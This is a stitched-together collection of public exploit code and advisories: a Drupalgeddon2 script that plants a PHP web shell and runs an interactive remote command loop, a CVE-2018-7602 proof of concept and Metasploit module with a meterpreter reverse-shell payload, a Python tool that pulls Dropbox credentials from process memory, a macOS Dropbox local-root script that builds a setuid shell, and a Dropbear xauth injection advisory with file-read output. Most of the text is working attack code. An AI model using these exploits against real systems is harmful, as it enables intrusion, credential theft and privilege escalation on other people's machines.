# Values in gen_evil_url for Drupal v8.x
elementsv8 = [
"mail",
"timezone",
]
# Values in gen_evil_url for Drupal v7.x
elementsv7 = [
"name",
]
elements = $drupalverion.start_with?("8") ? elementsv8 : elementsv7
elements.each do|e|
$element = e
# Make a request, testing code execution
puts action("Testing: Code Execution (Method: #{$element})")
# Generate a random string to see if we can echo it
random = (0...8).map { (65 + rand(26)).chr }.join
url, payload = gen_evil_url("echo #{random}", e)
response = http_request(url, "post", payload, $session_cookie)
if (response.code == "200" or response.code == "500") and not response.body.empty?
result = clean_result(response.body)
if not result.empty?
puts success("Result : #{result}")
if response.body.match(/#{random}/)
puts success("Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!")
break
else
puts warning("WARNING: Target MIGHT be exploitable [4]... Detected output, but didn't MATCH expected result")
end
else
puts warning("WARNING: Target MIGHT be exploitable [3] (HTTP Response: #{response.code})... Didn't detect any INJECTED output (disabled PHP function?)")
end
puts warning("WARNING: Target MIGHT be exploitable [5]... Blind attack?") if response.code == "500"
puts verbose("response.body: #{response.body}") if $verbose
puts verbose("clean_result: #{result}") if not result.empty? and $verbose
elsif response.body.empty?
puts error("Target is NOT exploitable [2] (HTTP Response: #{response.code})... Got an empty response")
exit
else
puts error("Target is NOT exploitable [1] (HTTP Response: #{response.code})")
puts verbose("response.body: #{response.body}") if $verbose
exit
end
puts "- "*40 if e != elements.last
end
puts "-"*80
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Location of web shell & used to signal if using PHP shell
webshellpath = ""
prompt = "drupalgeddon2"
# Possibles paths to try
paths = [
# Web root
"",
# Required for setup
"sites/default/",
"sites/default/files/",
# They did something "wrong", chmod -R 0777 .
#"core/",
]
# Check all (if doing web shell)
paths.each do|path|
# Check to see if there is already a file there
puts action("Testing: Existing file (#{$target}#{path}#{webshell})")
response = http_request("#{$target}#{path}#{webshell}", 'get', '', $session_cookie)
if response.code == "200"
puts warning("Response: HTTP #{response.code} // Size: #{response.size}. ***Something could already be there?***")
else
puts info("Response: HTTP #{response.code} // Size: #{response.size}")
end
puts "- "*40
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
folder = path.empty? ? "./" : path
puts action("Testing: Writing To Web Root (#{folder})")
# Merge locations
webshellpath = "#{path}#{webshell}"
# Final command to execute
cmd = "#{bashcmd} | tee #{webshellpath}"
# By default, Drupal v7.x disables the PHP engine using: ./sites/default/files/.htaccess
# ...however, Drupal v8.x disables the PHP engine using: ./.htaccess
if path == "sites/default/files/"
puts action("Moving : ./sites/default/files/.htaccess")
cmd = "mv -f #{path}.htaccess #{path}.htaccess-bak; #{cmd}"
end
# Generate evil URLs
url, payload = gen_evil_url(cmd, $element)
# Make the request
response = http_request(url, "post", payload, $session_cookie)
# Check result
if response.code == "200" and not response.body.empty?
# Feedback
result = clean_result(response.body)
puts success("Result : #{result}") if not result.empty?
# Test to see if backdoor is there (if we managed to write it)
response = http_request("#{$target}#{webshellpath}", "post", "c=hostname", $session_cookie)
if response.code == "200" and not response.body.empty?
puts success("Very Good News Everyone! Wrote to the web root! Waayheeeey!!!")
break
elsif response.code == "404"
puts warning("Target is NOT exploitable [2-4] (HTTP Response: #{response.code})... Might not have write access?")
elsif response.code == "403"
puts warning("Target is NOT exploitable [2-3] (HTTP Response: #{response.code})... May not be able to execute PHP from here?")
elsif response.body.empty?
puts warning("Target is NOT exploitable [2-2] (HTTP Response: #{response.code})... Got an empty response back")
else
puts warning("Target is NOT exploitable [2-1] (HTTP Response: #{response.code})")
puts verbose("response.body: #{response.body}") if $verbose
end
elsif response.code == "500" and not response.body.empty?
puts warning("Target MAY of been exploited... Bit of blind leading the blind")
break
elsif response.code == "404"
puts warning("Target is NOT exploitable [1-4] (HTTP Response: #{response.code})... Might not have write access?")
elsif response.code == "403"
puts warning("Target is NOT exploitable [1-3] (HTTP Response: #{response.code})... May not be able to execute PHP from here?")
elsif response.body.empty?
puts warning("Target is NOT exploitable [1-2] (HTTP Response: #{response.code}))... Got an empty response back")
else
puts warning("Target is NOT exploitable [1-1] (HTTP Response: #{response.code})")
puts verbose("response.body: #{response.body}") if $verbose
end
webshellpath = ""
puts "- "*40 if path != paths.last
end if try_phpshell
# If a web path was set, we exploited using PHP!
if not webshellpath.empty?
# Get hostname for the prompt
prompt = response.body.to_s.strip if response.code == "200" and not response.body.empty?
puts "-"*80
puts info("Fake PHP shell: curl '#{$target}#{webshellpath}' -d 'c=hostname'")
# Should we be trying to call commands via PHP?
elsif try_phpshell
puts warning("FAILED : Couldn't find a writeable web path")
puts "-"*80
puts action("Dropping back to direct OS commands")
end
# Stop any CTRL + C action ;)
trap("INT", "SIG_IGN")
# Forever loop
loop do
# Default value
result = "~ERROR~"
# Get input
command = Readline.readline("#{prompt}>> ", true).to_s
# Check input
puts warning("WARNING: Detected an known bad character (>)") if command =~ />/
# Exit
break if command == "exit"
# Blank link?
next if command.empty?
# If PHP web shell
if not webshellpath.empty?
# Send request
result = http_request("#{$target}#{webshellpath}", "post", "c=#{command}", $session_cookie).body
# Direct OS commands
else
url, payload = gen_evil_url(command, $element, true)
response = http_request(url, "post", payload, $session_cookie)
# Check result
if not response.body.empty?
result = clean_result(response.body)
end
end
# Feedback
puts result
end
This is a sample of exploit for Drupal 7 new vulnerability SA-CORE-2018-004 / CVE-2018-7602.
You must be authenticated and with the power of deleting a node. Some other forms may be vulnerable : at least, all of forms that is in 2-step (form then confirm).
POST /?q=node/99/delete&destination=node?q[%2523][]=passthru%26q[%2523type]=markup%26q[%2523markup]=whoami HTTP/1.1
[...]
form_id=node_delete_confirm&_triggering_element_name=form_id&form_token=[CSRF-TOKEN]
Retrieve the form_build_id from the response, and then triggering the exploit with :
POST /drupal/?q=file/ajax/actions/cancel/%23options/path/[FORM_BUILD_ID] HTTP/1.1
[...]
form_build_id=[FORM_BUILD_ID]
This will display the result of the whoami command.
Patch your systems!
Blaklis
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Drupalgeddon3',
'Description' => %q{
CVE-2018-7602 / SA-CORE-2018-004
A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x.
This potentially allows attackers to exploit multiple attack vectors on a Drupal site
Which could result in the site being compromised.
This vulnerability is related to Drupal core - Highly critical - Remote Code Execution
The module can load msf PHP arch payloads, using the php/base64 encoder.
The resulting RCE on Drupal looks like this: php -r 'eval(base64_decode(#{PAYLOAD}));'
},
'License' => MSF_LICENSE,
'Author' =>
[
'SixP4ck3r', # Research and port to MSF
'Blaklis' # Initial PoC
],
'References' =>
[
['SA-CORE', '2018-004'],
['CVE', '2018-7602'],
],
'DefaultOptions' =>
{
'encoder' => 'php/base64',
'payload' => 'php/meterpreter/reverse_tcp',
},
'Privileged' => false,
'Platform' => ['php'],
'Arch' => [ARCH_PHP],
'Targets' =>
[
['User register form with exec', {}],
],
'DisclosureDate' => 'Apr 29 2018',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/']),
OptString.new('DRUPAL_NODE', [ true, "Exist Node Number (Page, Article, Forum topic, or a Post)", '1']),
OptString.new('DRUPAL_SESSION', [ true, "Authenticated Cookie Session", '']),
])
register_advanced_options(
[
])
end
def uri_path
normalize_uri(target_uri.path)
end
def start_exploit
drupal_node = datastore['DRUPAL_NODE']
res = send_request_cgi({
'cookie' => datastore['DRUPAL_SESSION'],
'method' => 'GET',
'uri' => "#{uri_path}/node/#{drupal_node}/delete"
})
form_token = res.body.scan( /form_token" value="([^>]*)" \/>/).last.first
print "[*] Token Form -> #{form_token}\n"
r2 = send_request_cgi({
'method' => 'POST',
'cookie' => datastore['DRUPAL_SESSION'],
'uri' => "#{uri_path}/?q=node/#{drupal_node}/delete&destination=node?q[%2523post_render][]=passthru%26q[%2523type]=markup%26q[%2523markup]=php%20-r%20'#{payload.encoded}'",
'vars_post' => {
'form_id' => 'node_delete_confirm',
'_triggering_element_name' => 'form_id',
'form_token'=> "#{form_token}"
}
})
form_build_id = r2.body.scan( /form_build_id" value="([^>]*)" \/>/).last.first
print "[*] Token Form_build_id -> #{form_build_id}\n"
r3 = send_request_cgi({
'method' => 'POST',
'cookie' => datastore['DRUPAL_SESSION'],
'uri' => "#{uri_path}/?q=file/ajax/actions/cancel/%23options/path/#{form_build_id}",
'vars_post' => {
'form_build_id' => "#{form_build_id}"
}
})
end
def exploit
case datastore['TARGET']
when 0
start_exploit
else
fail_with(Failure::BadConfig, "Your target is invalid.")
end
end
end
#####
# Dropbox Desktop Client v9.4.49 (64bit) Local Credentials Disclosure
# Tested on Windows Windows Server 2012 R2 64bit, English
# Vendor Homepage @ https://www.dropbox.com
# Date 06/09/2016
# Bug Discovery by:
#
# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
# http://www.black-rose.ml
#
# Viktor Minin (https://www.linkedin.com/in/MininViktor)
# https://1-33-7.com/
#
# Alexander Korznikov (https://www.linkedin.com/in/nopernik)
# http://korznikov.com/
#
#####
# Dropbox Desktop Client v9.4.49 is vulnerable to local credentials disclosure, the supplied username and password are stored in a plaintext format in memory process.
# A potential attacker could reveal the supplied username and password in order to gain access to account.
#####
# Proof-Of-Concept Code:
import time
import urllib
from winappdbg import Debug, Process
username = ''
password = ''
found = 0
filename = "Dropbox.exe"
process_pid = 0
memory_dump = []
debug = Debug()
try:
print "[~] Searching for pid by process name '%s'.." % (filename)
time.sleep(1)
debug.system.scan_processes()
for (process, process_name) in debug.system.find_processes_by_filename(filename):
process_pid = process.get_pid()
if process_pid is not 0:
print "[+] Found process with pid #%d" % (process_pid)
time.sleep(1)
print "[~] Trying to read memory for pid #%d" % (process_pid)
process = Process(process_pid)
for address in process.search_bytes('\x26\x70\x61\x73\x73\x77\x6F\x72\x64\x3D'):
memory_dump.append(process.read(address,100))
for i in range(len(memory_dump)):
email_addr = memory_dump[i].split('email=')[1]
tmp_passwd = memory_dump[i].split('password=')[1]
username = email_addr.split('\x00')[0]
password = tmp_passwd.split('&is_sso_link=')[0]
if username != '' and password !='':
found = 1
print "[+] Credentials found!\r\n----------------------------------------"
print "[+] Username: %s" % urllib.unquote_plus(username)
print "[+] Password: %s" % password
if found == 0:
print "[-] Credentials not found! Make sure the client is connected."
else:
print "[-] No process found with name '%s'." % (filename)
debug.loop()
finally:
debug.stop()
#!/bin/bash
# Exploit Title: Dropbox FinderLoadBundle OS X local root exploit
# Google Dork: N/A
# Date: 29/09/15
# Exploit Author: cenobyte
# Vendor Homepage: https://www.dropbox.com
# Software Link: N/A
# Version: Dropbox 1.5.6, 1.6-7.*, 2.1-11.*, 3.0.*, 3.1.*, 3.3.*
# Tested on: OS X Yosemite (10.10.5)
# CVE: N/A
#
# Dropbox FinderLoadBundle OS X local root exploit by cenobyte 2015
# <vincitamorpatriae@gmail.com>
#
# - vulnerability description:
# The setuid root FinderLoadBundle that was included in older DropboxHelperTools
# versions for OS X allows loading of dynamically linked shared libraries
# that are residing in the same directory. The directory in which
# FinderLoadBundle is located is owned by root and that prevents placing
# arbitrary files there. But creating a hard link from FinderLoadBundle to
# somewhere in a directory in /tmp circumvents that protection thus making it
# possible to load a shared library containing a payload which creates a root
# shell.
#
# - vulnerable versions: | versions not vulnerable:
# Dropbox 3.3.* for Mac | Dropbox 3.10.* for Mac
# Dropbox 3.1.* for Mac | Dropbox 3.9.* for Mac
# Dropbox 3.0.* for Mac | Dropbox 3.8.* for Mac
# Dropbox 2.11.* for Mac | Dropbox 3.7.* for Mac
# Dropbox 2.10.* for Mac | Dropbox 3.6.* for Mac
# Dropbox 2.9.* for Mac | Dropbox 3.5.* for Mac
# Dropbox 2.8.* for Mac | Dropbox 3.4.* for Mac
# Dropbox 2.7.* for Mac | Dropbox 3.2.* for Mac
# Dropbox 2.6.* for Mac | Dropbox 1.5.1-5 for Mac
# Dropbox 2.5.* for Mac | Dropbox 1.4.* for Mac
# Dropbox 2.4.* for Mac | Dropbox 1.3.* for Mac
# Dropbox 2.3.* for Mac |
# Dropbox 2.2.* for Mac |
# Dropbox 2.1.* for Mac |
# Dropbox 1.7.* for Mac |
# Dropbox 1.6.* for Mac |
# Dropbox 1.5.6 for Mac |
#
# The vulnerability was fixed in newer DropboxHelperTools versions as of 3.4.*.
# However, there is no mention of this issue at the Dropbox release notes:
# https://www.dropbox.com/release_notes
#
# It seems that one of the fixes implemented in FinderLoadBundle is a
# check whether the path of the bundle is a root owned directory making it
# impossible to load arbitrary shared libraries as a non-privileged user.
#
# I am not sure how to find the exact version of the FinderLoadBundle executable
# but the included Info.plist contained the following key:
# <key>CFBundleShortVersionString</key>
# This key is no longer present in the plist file of the latest version. So I
# included a basic vulnerable version checker that checks for the presence of
# this key.
#
# - exploit details:
# I wrote this on OS X Yosemite (10.10.5) but there are no OS specific features
# used. This exploit relies on Xcode for the shared library + root shell to be
# compiled. After successful exploitation a root shell is left in a directory in
# /tmp so make sure you delete it on your own system when you are done testing.
#
# - example:
# $ ./dropboxfinderloadbundle.sh
# Dropbox FinderLoadBundle OS X local root exploit by cenobyte 2015
#
# [-] creating temporary directory: /tmp/c7a15893fc1b28d31071c16c6663cbf3
# [-] linking /Library/DropboxHelperTools/Dropbox_u501/FinderLoadBundle
# [-] constructing bundle
# [-] creating /tmp/c7a15893fc1b28d31071c16c6663cbf3/boomsh.c
# [-] compiling root shell
# [-] executing FinderLoadBundle using root shell payload
# [-] entering root shell
# bash-3.2# id -P
# root:********:0:0::0:0:System Administrator:/var/root:/bin/sh
readonly __progname=$(basename $0)
errx() {
echo "$__progname: $@" >&2
exit 1
}
main() {
local -r tmp=$(head -10 /dev/urandom | md5)
local -r helpertools="/Library/DropboxHelperTools"
local -r bundle="/tmp/$tmp/mach_inject_bundle_stub.bundle/Contents/MacOS"
local -r bundletarget="$bundle/mach_inject_bundle_stub"
local -r bundlesrc="${bundletarget}.c"
local -r sh="/tmp/$tmp/boomsh"
local -r shsrc="${sh}.c"
local -r cfversion="CFBundleShortVersionString"
local -r findbin="FinderLoadBundle"
echo "Dropbox $findbin OS X local root exploit by cenobyte 2015"
echo
uname -v | grep -q ^Darwin || \
errx "this Dropbox exploit only works on OS X"
[ ! -d "$helpertools" ] && \
errx "$helpertools does not exist"
which -s gcc || \
errx "gcc not found"
found=0
for finder in $(ls $helpertools/Dropbox_u*/$findbin); do
stat -s "$finder" | grep -q "st_mode=0104"
if [ $? -eq 0 ]; then
found=1
break
fi
done
[ $found -ne 1 ] && \
errx "couldn't find a setuid root $findbin"
local -r finderdir=$(dirname $finder)
local -r plist="${finderdir}/DropboxBundle.bundle/Contents/Info.plist"
[ -f "$plist" ] || \
errx "FinderLoadBundle not vulnerable (cannot open $plist)"
grep -q "<key>$cfversion</key>" "$plist" || \
errx "FinderLoadBundle not vulnerable (plist missing $cfversion)"
echo "[-] creating temporary directory: /tmp/$tmp"
mkdir /tmp/$tmp || \
errx "couldn't create /tmp/$tmp"
echo "[-] linking $finder"
ln "$finder" "/tmp/$tmp/$findbin" || \
errx "ln $finder /tmp/$tmp/$findbin failed"
echo "[-] constructing bundle"
mkdir -p "$bundle" || \
errx "cannot create $bundle"
echo "#include <sys/stat.h>" > "$bundlesrc"
echo "#include <sys/types.h>" >> "$bundlesrc"
echo "#include <stdlib.h>" >> "$bundlesrc"
echo "#include <unistd.h>" >> "$bundlesrc"
echo "extern void init(void) __attribute__ ((constructor));" >> "$bundlesrc"
echo "void init(void)" >> "$bundlesrc"
echo "{" >> "$bundlesrc"
echo " setuid(0);" >> "$bundlesrc"
echo " setgid(0);" >> "$bundlesrc"
echo " chown(\"$sh\", 0, 0);" >> "$bundlesrc"
echo " chmod(\"$sh\", S_ISUID|S_IRWXU|S_IXGRP|S_IXOTH);" >> "$bundlesrc"
echo "}" >> "$bundlesrc"
echo "[-] creating $shsrc"
echo "#include <unistd.h>" > "$shsrc"
echo "#include <stdio.h>" >> "$shsrc"
echo "#include <stdlib.h>" >> "$shsrc"
echo "int" >> "$shsrc"
echo "main()" >> "$shsrc"
echo "{" >> "$shsrc"
echo " setuid(0);" >> "$shsrc"
echo " setgid(0);" >> "$shsrc"
echo " system(\"/bin/bash\");" >> "$shsrc"
echo " return(0);" >> "$shsrc"
echo "}" >> "$shsrc"
echo "[-] compiling root shell"
gcc "$shsrc" -o "$sh" || \
errx "gcc failed for $shsrc"
gcc -dynamiclib -o "$bundletarget" "$bundlesrc" || \
errx "gcc failed for $bundlesrc"
echo "[-] executing $findbin using root shell payload"
cd "/tmp/$tmp"
./$findbin mach_inject_bundle_stub.bundle 2>/dev/null 1>/dev/null
[ $? -ne 4 ] && \
errx "exploit failed, $findbin seems not vulnerable"
[ ! -f "$sh" ] && \
errx "$sh was not created, exploit failed"
stat -s "$sh" | grep -q "st_mode=0104" || \
errx "$sh was not set to setuid root, exploit failed"
echo "[-] entering root shell"
"$sh"
}
main "$@"
exit 0
VuNote
============
Author: <github.com/tintinweb>
Ref: https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3116
Version: 0.2
Date: Mar 3rd, 2016
Tag: dropbearsshd xauth command injection may lead to forced-command bypass
Overview
--------
Name: dropbear
Vendor: Matt Johnston
References: * https://matt.ucc.asn.au/dropbear/dropbear.html [1]
Version: 2015.71
Latest Version: 2015.71
Other Versions: <= 2015.71 (basically all versions with x11fwd support; v0.44 ~11 years)
Platform(s): linux
Technology: c
Vuln Classes: CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
Origin: remote
Min. Privs.: post auth
CVE: CVE-2016-3116
Description
---------
quote website [1]
>Dropbear is a relatively small SSH server and client. It runs on a variety of POSIX-based platforms. Dropbear is open source software, distributed under a MIT-style license. Dropbear is particularly useful for "embedded"-type Linux (or other Unix) systems, such as wireless routers.
Summary
-------
An authenticated user may inject arbitrary xauth commands by sending an
x11 channel request that includes a newline character in the x11 cookie.
The newline acts as a command separator to the xauth binary. This attack requires
the server to have 'X11Forwarding yes' enabled. Disabling it, mitigates this vector.
By injecting xauth commands one gains limited* read/write arbitrary files,
information leakage or xauth-connect capabilities. These capabilities can be
leveraged by an authenticated restricted user - e.g. one with configured forced-commands - to bypass
account restriction. This is generally not expected.
The injected xauth commands are performed with the effective permissions of the
logged in user as the sshd already dropped its privileges.
Quick-Info:
* requires: X11Forwarding yes
* does *NOT* bypass /bin/false due to special treatment (like nologin)
* bypasses forced-commands (allows arbitr. read/write)
Capabilities (xauth):
* Xauth
* write file: limited chars, xauthdb format
* read file: limit lines cut at first \s
* infoleak: environment
* connect to other devices (may allow port probing)
see attached PoC
Details
-------
// see annotated code below
* x11req (svr-x11fwd.c:46)
* execchild (svr-chansession.c:893)
*- x11setauth (svr-x11fwd.c:129)
Upon receiving an `x11-req` type channel request dropbearsshd parses the channel request
parameters `x11authprot` and `x11authcookie` from the client ssh packet where
`x11authprot` contains the x11 authentication method used (e.g. `MIT-MAGIC-COOKIE-1`)
and `x11authcookie` contains the actual x11 auth cookie. This information is stored
in a session specific datastore. When calling `execute` on that session, dropbear will
call `execchild` and - in case it was compiled with x11 support - setup x11 forwarding
by executing `xauth` with the effective permissions of the user and pass commands via `stdin`.
Note that `x11authcookie` nor `x11authprot` was sanitized or validated, it just contains
user-tainted data. Since `xauth` commands are passed via `stdin` and `\n` is a
command-separator to the `xauth` binary, this allows a client to inject arbitrary
`xauth` commands.
This is an excerpt of the `man xauth` [2] to outline the capabilities of this xauth
command injection:
SYNOPSIS
xauth [ -f authfile ] [ -vqibn ] [ command arg ... ]
add displayname protocolname hexkey
generate displayname protocolname [trusted|untrusted] [timeout seconds] [group group-id] [data hexdata]
[n]extract filename displayname...
[n]list [displayname...]
[n]merge [filename...]
remove displayname...
source filename
info
exit
quit
version
help
?
Interesting commands are:
info - leaks environment information / path
~# xauth info
xauth: file /root/.Xauthority does not exist
Authority file: /root/.Xauthority
File new: yes
File locked: no
Number of entries: 0
Changes honored: yes
Changes made: no
Current input: (argv):1
source - arbitrary file read (cut on first `\s`)
# xauth source /etc/shadow
xauth: file /root/.Xauthority does not exist
xauth: /etc/shadow:1: unknown command "smithj:Ep6mckrOLChF.:10063:0:99999:7:::"
extract - arbitrary file write
* limited characters
* in xauth.db format
* since it is not compressed it can be combined with `xauth add` to
first store data in the database and then export it to an arbitrary
location e.g. to plant a shell or do other things.
generate - connect to <ip>:<port> (port probing, connect back and pot. exploit
vulnerabilities in X.org
Source
------
Inline annotations are prefixed with `//#!`
* handle x11 request, stores cookie in `chansess`
```c
/* called as a request for a session channel, sets up listening X11 */
/* returns DROPBEAR_SUCCESS or DROPBEAR_FAILURE */
int x11req(struct ChanSess * chansess) {
int fd;
/* we already have an x11 connection */
if (chansess->x11listener != NULL) {
return DROPBEAR_FAILURE;
}
chansess->x11singleconn = buf_getbyte(ses.payload);
chansess->x11authprot = buf_getstring(ses.payload, NULL); //#! store user tainted data
chansess->x11authcookie = buf_getstring(ses.payload, NULL); //#! store user tainted data
chansess->x11screennum = buf_getint(ses.payload);
```
* set auth cookie/authprot
```c
/* This is called after switching to the user, and sets up the xauth
* and environment variables. */
void x11setauth(struct ChanSess *chansess) {
char display[20]; /* space for "localhost:12345.123" */
FILE * authprog = NULL;
int val;
if (chansess->x11listener == NULL) {
return;
}
...
/* popen is a nice function - code is strongly based on OpenSSH's */
authprog = popen(XAUTH_COMMAND, "w"); //#! run xauth binary
if (authprog) {
fprintf(authprog, "add %s %s %s\n",
display, chansess->x11authprot, chansess->x11authcookie); //#! \n injection in cookie, authprot
pclose(authprog);
} else {
fprintf(stderr, "Failed to run %s\n", XAUTH_COMMAND);
}
}
```
Proof of Concept
----------------
Prerequisites:
* install python 2.7.x
* issue `#> pip install paramiko` to install `paramiko` ssh library for python 2.x
* run `poc.py`
Note: see cve-2016-3115 [3] for `poc.py`
Usage: <host> <port> <username> <password or path_to_privkey>
path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key
poc:
1. configure one user (user1) for `force-commands`:
```c
#PUBKEY line - force commands: only allow "whoami"
#cat /home/user1/.ssh/authorized_keys
command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user1@box
#cat /etc/passwd
user1:x:1001:1001:,,,:/home/user1:/bin/bash
```
2. run dropbearsshd (x11fwd is on by default)
```c
#> ~/dropbear-2015.71/dropbear -R -F -E -p 2222
[22861] Not backgrounding
[22862] Child connection from 192.168.139.1:49597
[22862] Forced command 'whoami'
[22862] Pubkey auth succeeded for 'user1' with key md5 dc:b8:56:71:89:36:fb:dc:0e:a0:2b:17:b9:83:d2:dd from 192.168.139.1:49597
```
3. `forced-commands` - connect with user1 and display env information
```c
#> python <host> 2222 user1 .demoprivkey
INFO:__main__:add this line to your authorized_keys file:
#PUBKEY line - force commands: only allow "whoami"
#cat /home/user/.ssh/authorized_keys
command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user@box
INFO:__main__:connecting to: user1:<PKEY>@192.168.139.129:2222
INFO:__main__:connected!
INFO:__main__:
Available commands:
.info
.readfile <path>
.writefile <path> <data>
.exit .quit
<any xauth command or type help>
#> .info
DEBUG:__main__:auth_cookie: '\ninfo'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:Authority file: /home/user1/.Xauthority
File new: no
File locked: no
Number of entries: 2
Changes honored: yes
Changes made: no
Current input: (stdin):2
user1
/usr/bin/xauth: (stdin):1: bad "add" command line
...
```
4. `forced-commands` - read `/etc/passwd`
```c
...
#> .readfile /etc/passwd
DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
```
5. `forced-commands` - write `/tmp/testfile`
```c
#> .writefile /tmp/testfile1 `thisisatestfile`
DEBUG:__main__:auth_cookie: '\nadd 127.0.0.250:65500 `thisisatestfile` aa'
DEBUG:__main__:dummy exec returned: None
DEBUG:__main__:auth_cookie: '\nextract /tmp/testfile1 127.0.0.250:65500'
DEBUG:__main__:dummy exec returned: None
DEBUG:__main__:user1
/usr/bin/xauth: (stdin):1: bad "add" command line
#> INFO:__main__:/tmp/testfile1
#> ls -lsat /tmp/testfile1
4 -rw------- 1 user1 user1 59 xx xx 12:51 /tmp/testfile1
#> cat /tmp/testfile1
ú65500hiú65500`thisisatestfile`ªr
```
6. `forced-commands` - initiate outbound X connection to 8.8.8.8:6100
```c
#> generate 8.8.8.8:100
DEBUG:__main__:auth_cookie: '\ngenerate 8.8.8.8:100'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:user1
/usr/bin/xauth: (stdin):1: bad "add" command line
/usr/bin/xauth: (stdin):2: unable to open display "8.8.8.8:100".
#> tcpdump
IP <host> 8.8.8.8.6100: Flags [S], seq 81800807, win 29200, options [mss 1460,sackOK,TS val 473651893 ecr 0,nop,wscale 10], length 0
```
Fix
---
* Sanitize user-tainted input `chansess->x11authcookie`
Mitigation / Workaround
------------------------
* disable x11-forwarding: re-compile without x11 support: remove `options.h` -> `#define ENABLE_X11FWD`
Notes
-----
Thanks to the OpenSSH team for coordinating the fix!
Vendor response see: changelog [4]
References
----------
[1] https://matt.ucc.asn.au/dropbear/dropbear.html
[2] http://linux.die.net/man/1/xauth
[3] https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3115/
[4] https://matt.ucc.asn.au/dropbear/CHANGES
Contact
-------
https://github.com/tintinweb